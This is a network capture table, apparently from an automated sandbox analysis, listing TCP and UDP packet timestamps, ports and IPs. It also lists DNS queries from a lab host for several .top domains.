Oct 29, 2021 20:30:47.949664116 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:47.974147081 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:47.974271059 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:47.974325895 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:47.974397898 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:47.974538088 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:47.974606037 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:47.998790026 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:47.998814106 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:47.998948097 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:47.998982906 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:47.999003887 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:47.999077082 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:47.999171019 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:47.999247074 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:47.999501944 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:47.999617100 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:47.999783039 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:47.999906063 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.023372889 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.023390055 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.023550034 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.023571014 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.023648024 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.023683071 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.023763895 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.023901939 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.023973942 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.024126053 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.024142981 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.024310112 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.024348974 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.024452925 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.024581909 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.024717093 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.024915934 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.024992943 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.025023937 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.025132895 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.025141954 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.025226116 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.025401115 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.025485992 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.047872066 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.048063040 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.048397064 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.048464060 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.048748970 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.049072027 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.049434900 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.049477100 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.049649000 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.050226927 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.050328970 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.050741911 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.051238060 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.051552057 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.051588058 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.051620960 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.051645994 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.051774979 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.051992893 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.052018881 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.073987961 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.074004889 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.074111938 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.074234962 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.074392080 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.074424028 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.074534893 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.074615002 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.074812889 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.074899912 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.075174093 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.075352907 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.075562954 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.075830936 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.075882912 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.075967073 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.076145887 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.076874971 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.077198029 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.077347994 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.099050045 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.099069118 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.099080086 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.099324942 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.099601984 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.099900961 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.100214958 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.100436926 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.100800991 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.100950956 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.101313114 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.101421118 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.101594925 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.101716042 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.101865053 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.102114916 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.102646112 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.103440046 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.103832006 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.104262114 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.104610920 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.104743004 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.126174927 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.126204967 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.126348019 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.126867056 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.127216101 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.127810001 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.127970934 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.128565073 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.128819942 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.129055977 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.129157066 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.129328966 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.129364967 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.129801035 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.130105019 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.130556107 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.130893946 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.131505966 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.131692886 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.132019997 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.132165909 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.160725117 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.160756111 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.160821915 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.161067963 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.161196947 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.161220074 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.161293983 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.161377907 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.161825895 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.185946941 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.185981989 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.186009884 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.186218977 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.186299086 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.186463118 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.186767101 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.187097073 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.187370062 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.187575102 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.187825918 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.188007116 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.188251019 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.188401937 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.188560963 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.188704967 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.188795090 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.188862085 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.189085007 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.189373970 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.189634085 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.189798117 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.190002918 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.190299034 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.190418005 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.190716028 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.190956116 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.191088915 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.213242054 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.213351011 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.213510990 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.213757038 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.213830948 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.213934898 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.214138985 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.215004921 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.215023994 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.215034962 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.215071917 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.215204954 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.215394020 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.216193914 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.216232061 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.216273069 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.272329092 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.277211905 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.278009892 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.304260969 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.313134909 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:30:48.338052988 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:30:48.348455906 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:31:09.584708929 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:31:09.584908962 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:31:10.535259008 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:31:10.535396099 CEST	49859	80	192.168.2.3	45.141.84.21

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2021 20:28:41.680531025 CEST	58045	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:28:41.782394886 CEST	53	58045	8.8.8.8	192.168.2.3
Oct 29, 2021 20:28:41.809067965 CEST	57459	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:28:41.828285933 CEST	53	57459	8.8.8.8	192.168.2.3
Oct 29, 2021 20:28:41.988375902 CEST	57875	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:28:42.007764101 CEST	53	57875	8.8.8.8	192.168.2.3
Oct 29, 2021 20:28:42.229924917 CEST	54154	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:28:42.537918091 CEST	53	54154	8.8.8.8	192.168.2.3
Oct 29, 2021 20:28:45.901159048 CEST	52806	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:28:45.920161009 CEST	53	52806	8.8.8.8	192.168.2.3
Oct 29, 2021 20:28:46.111673117 CEST	53910	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:28:46.128801107 CEST	53	53910	8.8.8.8	192.168.2.3
Oct 29, 2021 20:28:57.746994019 CEST	56009	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:28:57.766304970 CEST	53	56009	8.8.8.8	192.168.2.3
Oct 29, 2021 20:28:57.935645103 CEST	59026	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:28:57.955117941 CEST	53	59026	8.8.8.8	192.168.2.3
Oct 29, 2021 20:28:58.126597881 CEST	60823	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:28:58.146090984 CEST	53	60823	8.8.8.8	192.168.2.3
Oct 29, 2021 20:28:58.314971924 CEST	52130	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:28:58.334340096 CEST	53	52130	8.8.8.8	192.168.2.3
Oct 29, 2021 20:28:58.475163937 CEST	55102	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:28:58.494632959 CEST	53	55102	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:00.795654058 CEST	63297	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:00.814794064 CEST	53	63297	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:00.966377974 CEST	58361	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:00.985613108 CEST	53	58361	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:01.148121119 CEST	53615	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:01.167325974 CEST	53	53615	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:01.309412956 CEST	53777	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:01.328797102 CEST	53	53777	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:03.711911917 CEST	60982	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:03.731282949 CEST	53	60982	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:04.133281946 CEST	64367	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:04.152548075 CEST	53	64367	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:04.309887886 CEST	51539	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:04.329142094 CEST	53	51539	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:06.642806053 CEST	50585	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:06.661854029 CEST	53	50585	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:06.815687895 CEST	63456	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:06.835438967 CEST	53	63456	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:07.008934021 CEST	58540	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:07.028309107 CEST	53	58540	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:07.892340899 CEST	55108	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:07.913829088 CEST	53	55108	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:09.883174896 CEST	58942	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:09.903467894 CEST	53	58942	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:10.186300039 CEST	64432	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:10.205126047 CEST	53	64432	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:10.886111975 CEST	49250	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:10.905566931 CEST	53	49250	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:11.155530930 CEST	63490	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:11.174782038 CEST	53	63490	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:12.671663046 CEST	65110	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:12.700990915 CEST	53	65110	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:14.777261019 CEST	61120	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:14.796063900 CEST	53	61120	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:14.975265026 CEST	53079	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:14.994440079 CEST	53	53079	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:15.178158045 CEST	50824	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:15.197427034 CEST	53	50824	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:15.384227037 CEST	56706	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:15.403424978 CEST	53	56706	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:15.550436020 CEST	53569	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:15.570120096 CEST	53	53569	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:18.470989943 CEST	51046	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:18.489921093 CEST	53	51046	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:18.731682062 CEST	65501	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:18.751365900 CEST	53	65501	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:18.957324028 CEST	53465	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:18.976843119 CEST	53	53465	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:19.676510096 CEST	49290	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:19.697580099 CEST	53	49290	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:22.250931025 CEST	59754	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:22.269985914 CEST	53	59754	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:22.418785095 CEST	49234	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:22.437674046 CEST	53	49234	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:22.596616983 CEST	58720	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:22.616386890 CEST	53	58720	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:22.791532040 CEST	57447	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:22.811207056 CEST	53	57447	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:23.005609989 CEST	63583	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:23.024833918 CEST	53	63583	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:23.254939079 CEST	64099	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:23.271843910 CEST	53	64099	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:23.804893970 CEST	64610	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:23.823863983 CEST	53	64610	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:24.194061995 CEST	51989	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:24.210947037 CEST	53	51989	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:24.483756065 CEST	53152	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:24.503165007 CEST	53	53152	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:24.831701994 CEST	61590	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:24.850873947 CEST	53	61590	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:25.013497114 CEST	56077	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:25.033365011 CEST	53	56077	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:25.273066044 CEST	57951	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:25.291810989 CEST	53	57951	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:25.473617077 CEST	53276	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:25.492764950 CEST	53	53276	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:32.330440998 CEST	60135	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:32.347748995 CEST	53	60135	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:35.532401085 CEST	49849	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:35.634180069 CEST	53	49849	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:38.953744888 CEST	60253	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:38.973043919 CEST	53	60253	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:42.253094912 CEST	58706	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:42.272511005 CEST	53	58706	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:45.558854103 CEST	62677	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:45.576186895 CEST	53	62677	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:49.503921032 CEST	62595	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:49.522789001 CEST	53	62595	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:49.552588940 CEST	51189	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:49.573946953 CEST	53	51189	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:56.471637011 CEST	49967	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:56.746279955 CEST	53	49967	8.8.8.8	192.168.2.3
Oct 29, 2021 20:29:57.219011068 CEST	51454	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:29:57.394445896 CEST	53	51454	8.8.8.8	192.168.2.3
Oct 29, 2021 20:30:22.310899019 CEST	56360	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:30:22.330321074 CEST	53	56360	8.8.8.8	192.168.2.3
Oct 29, 2021 20:30:49.083338022 CEST	49258	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:30:49.100138903 CEST	53	49258	8.8.8.8	192.168.2.3
Oct 29, 2021 20:30:49.393383980 CEST	56195	53	192.168.2.3	8.8.8.8
Oct 29, 2021 20:30:49.412710905 CEST	53	56195	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Oct 29, 2021 20:28:41.680531025 CEST	192.168.2.3	8.8.8.8	0x3231	Standard query (0)	xacokuo8.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:28:41.809067965 CEST	192.168.2.3	8.8.8.8	0x9cba	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:28:41.988375902 CEST	192.168.2.3	8.8.8.8	0x64d2	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:28:42.229924917 CEST	192.168.2.3	8.8.8.8	0x9571	Standard query (0)	privacytoolzforyou-6000.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:28:45.901159048 CEST	192.168.2.3	8.8.8.8	0x963e	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:28:46.111673117 CEST	192.168.2.3	8.8.8.8	0x6e26	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:28:57.746994019 CEST	192.168.2.3	8.8.8.8	0xc867	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
Oct 29, 2021 20:28:57.935645103 CEST	192.168.2.3	8.8.8.8	0xeeca	Standard query (0)	hajezey1.top	A (IP address)	IN (0x0001)
